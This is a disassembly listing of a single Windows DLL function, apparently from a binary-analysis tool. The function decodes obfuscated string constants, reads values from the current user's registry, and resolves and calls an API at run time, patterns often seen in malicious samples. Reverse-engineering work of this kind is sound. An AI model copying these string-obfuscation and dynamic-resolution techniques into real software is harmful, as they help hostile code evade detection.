Function at 0x1800311d4
Capabilities:
Query or enumerate registry value

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x68]
sub rsp, 0x140
mov rax, qword [0x180046038]
xor rax, rsp
mov qword [rbp + 0x30], rax
mov edi, edx
mov r13, rcx
mov dword [rbp - 0x80], 0x89908c19
mov dword [rbp - 0x7c], 0x62303719
mov dword [rbp - 0x78], 0x52e346a9
mov dword [rbp - 0x74], 0x2479667b
mov dword [rbp - 0x70], 0x4b9c2776
mov dword [rbp - 0x6c], 0xb6b27358
mov dword [rbp - 0x68], 0xb0e60093
mov dword [rbp - 0x64], 0x2953da16
mov dword [rbp - 0x60], 0xd2df28a2
mov dword [rbp - 0x5c], 0x4fa111e6
mov dword [rbp - 0x58], 0xea41d489
mov dword [rbp - 0x54], 0x53310128
mov dword [rbp - 0x50], 0x842d4faa
mov dword [rbp - 0x4c], 0xe9f20325
mov qword [rbp - 0x48], 0x3b3
xor esi, esi
movabs rax, 0x38353a31333a3531
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], reloc.WS2_32.dll_listen
mov qword [rbp - 0x30], 7
mov qword [rbp - 0x28], socket
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x80]
call fcn.180007828
cmp qword [rax + 0x18], 8
jb 0x1800312b4
mov rax, qword [rax]
lea rcx, [rbp - 0x10]
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
mov rdx, rax
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebx, eax
lea rcx, [rsp + 0x60]
call fcn.180006a18
test ebx, ebx
jne 0x180031777
mov dword [rbp - 0x18], 1
mov dword [rbp - 8], 3
mov dword [rsp + 0x30], 0x89ad8c3e
mov dword [rsp + 0x34], 0x6209373a
movabs rax, 0x38353a31333a3531
mov qword [rsp + 0x48], reloc.WS2_32.dll_listen
mov qword [rsp + 0x50], 7
mov qword [rsp + 0x58], socket
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x40], rax
cmp edi, 1
jne 0x1800313d6
mov qword [rsp + 0x38], 0x46cf
call fcn.1800075fc
cmp qword [rax + 0x18], 8
jb 0x18003135d
mov rax, qword [rax]
lea rcx, [rbp - 0x18]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rsi
lea r9, [rbp - 8]
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ebx, eax
lea rcx, [rsp + 0x60]
call fcn.180006a18
test ebx, ebx
je 0x18003139e
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x180031777
mov ecx, dword [rbp - 0x18]
add ecx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1800124d0
mov rsi, rax
mov r8d, dword [rbp - 0x18]
inc r8d
xor edx, edx
mov rcx, rax
call fcn.18000e220
mov qword [rsp + 0x38], 0x46cf
jmp 0x180031457
mov qword [rsp + 0x38], 0x46cc
call fcn.1800075fc
cmp qword [rax + 0x18], 8
jb 0x1800313ee
mov rax, qword [rax]
lea rcx, [rbp - 0x18]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rsi
lea r9, [rbp - 8]
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ebx, eax
lea rcx, [rsp + 0x60]
call fcn.180006a18
test ebx, ebx
jne 0x18003138f
mov ecx, dword [rbp - 0x18]
add ecx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1800124d0
mov rsi, rax
mov r8d, dword [rbp - 0x18]
inc r8d
xor edx, edx
mov rcx, rax
call fcn.18000e220
mov qword [rsp + 0x38], 0x46cc
movabs r12, 0x38353a31333a3531
xor r14d, r14d
mov dword [rsp + 0x30], 0x89ad8c3e
mov dword [rsp + 0x34], 0x6209373a
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], reloc.WS2_32.dll_listen
mov qword [rsp + 0x50], 7
mov qword [rsp + 0x58], socket
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1800075fc
cmp qword [rax + 0x18], 8
jb 0x1800314ad
mov rax, qword [rax]
lea rcx, [rbp - 0x18]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rsi
lea r9, [rbp - 8]
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea rcx, [rsp + 0x60]
call fcn.180006a18
mov edx, dword [rbp - 0x18]
mov rcx, rsi
call fcn.180031a90
movdqa xmm0, xmmword [0x1800325e0]
movdqu xmmword [rbp], xmm0
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], reloc.WS2_32.dll_listen
mov qword [rbp + 0x20], 7
mov qword [rbp + 0x28], socket
lea rdx, [rsp + 0x60]
lea rcx, [rbp]
call fcn.180006b90
nop
lea rdx, [rbp - 0x20]
mov rcx, rsi
call fcn.18002fe5c
mov rdi, rax
mov r15d, 0x1000
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x18003156a
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, r15
jb 0x180031565
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800317aa
call fcn.18000b91c
mov ecx, 0x30
call fcn.18000b8e0
mov rbx, rax
test rax, rax
je 0x18003158c
xorps xmm0, xmm0
movups xmmword [rax + 0x10], xmm0
xorps xmm1, xmm1
movups xmmword [rax + 0x20], xmm1
jmp 0x18003158f
mov rbx, r14
mov rax, qword [rbp - 0x20]
mov qword [rbx], rax
mov qword [rbx + 8], rdi
lea rdx, [rsp + 0x60]
lea rcx, [rbp]
call fcn.180006b90
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x1800315b5
mov r8, qword [rax]
lea rcx, [rbx + 0xf]
inc rcx
cmp byte [rcx], r14b
jne 0x1800315b9
xor edx, edx
mov al, byte [r8 + rdx]
mov byte [rcx + rdx], al
inc rdx
test al, al
jne 0x1800315c3
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x18003160a
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, r15
jb 0x180031605
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800317b0
call fcn.18000b91c
lea rcx, [rbx + 0x1f]
inc rcx
cmp byte [rcx], r14b
jne 0x18003160e
xor edx, edx
mov al, byte [rdx + r13]
mov byte [rcx + rdx], al
inc rdx
test al, al
jne 0x180031618
movdqa xmm0, xmmword [0x180032660]
movdqu xmmword [rbp], xmm0
mov qword [rbp + 0x10], r12
mov r13d, reloc.WS2_32.dll_listen
mov qword [rbp + 0x18], r13
mov qword [rbp + 0x20], 7
mov qword [rbp + 0x28], socket
lea rdx, [rsp + 0x60]
lea rcx, [rbp]
call fcn.180007298
mov rdi, rax
cmp qword [rax + 0x18], 0x10
jb 0x18003166c
mov rdi, qword [rax]
movdqa xmm0, xmmword [0x180032690]
movdqu xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x68], r13
mov qword [rbp - 0x60], 7
mov qword [rbp - 0x58], socket
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x80]
call fcn.180007298
cmp qword [rax + 0x18], 0x10
jb 0x1800316a9
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1800316fa
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, r15
jb 0x1800316f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800317b6
call fcn.18000b91c
movdqa xmm0, xmmword [0x1800325f0]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], r14b
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x180031742
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, r15
jb 0x18003173d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800317a4
call fcn.18000b91c
movdqa xmm0, xmmword [0x1800325f0]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], r14b
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
mov r9, rbx
lea r8, [0x180031a2c]
xor edx, edx
xor ecx, ecx
call rdi
mov rcx, rsi
call fcn.1800124bc
mov rcx, qword [rbp + 0x30]
xor rcx, rsp
call fcn.18000ba30
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.180012344
int3
call fcn.180012344
int3
call fcn.180012344
nop
call fcn.180012344
nop
lea rcx, [rdx + 0x60]
jmp fcn.1800053bc